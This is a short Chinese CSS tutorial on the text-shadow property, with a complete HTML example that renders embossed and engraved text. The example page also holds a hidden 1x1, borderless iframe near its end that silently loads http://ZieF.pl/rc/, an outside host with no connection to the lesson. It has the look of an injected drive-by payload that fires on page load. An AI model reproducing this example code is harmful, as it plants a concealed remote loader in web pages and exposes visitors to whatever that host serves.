◆ text-shadow:
可以分别设置偏移量、模糊度、颜色(可设透明度)
- 水平偏移量:正值向右,负值向左
- 垂直偏移量:正值向下,负值向上
- 模糊度是不能为负值
text-shadow: 5px 5px 2px #ccc;
多个阴影效果,并列书写,是有逗号隔开
text-shadow: -1px -1px 1px #fff, 1px 1px 1px #000;
◆ 凹凸字体案例:
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<style>
body{
background-color: #CCCCCC;
}
p{
text-align: center;
font-size:90px;
font-family: "Microsoft Yahei";
margin-top:50px;
font-weight: bold;
color:#ccc;
}
.tu{
text-shadow: -1px -1px 1px #fff, 1px 1px 1px #000;
}
.ao{
text-shadow: -1px -1px 1px #000, 1px 1px 1px #fff;
}
</style>
</head>
<body>
<p class="tu">凸出字体</p>
<p class="ao">凹陷字体</p>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>